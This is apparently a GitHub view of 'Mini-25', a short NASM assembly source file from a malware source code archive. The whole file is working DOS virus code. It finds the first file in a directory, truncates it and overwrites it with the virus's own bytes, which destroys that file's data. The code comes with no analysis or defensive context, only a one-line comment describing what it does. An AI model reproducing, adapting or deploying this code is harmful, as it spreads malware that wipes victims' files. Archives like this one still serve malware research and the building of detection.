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https://github.com/vxunderground/MalwareSourceCode
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21 lines
426 B
NASM
21 lines
426 B
NASM
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; Mini-25
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;
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; Overwrites the first file in a directory
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FNAM Equ 09eh
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Main: Mov Ah,4eh
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Lea Dx,FileSpec
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Int 21h
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Mov Ah,3ch
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Lea Dx,FNAM
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On2: Int 21h
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FileSpec Db '*.*',0
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Mov Bh,40h
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Xchg Cx,Dx
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Xchg Ax,Bx
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Jmp On2
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Length Equ $-Main
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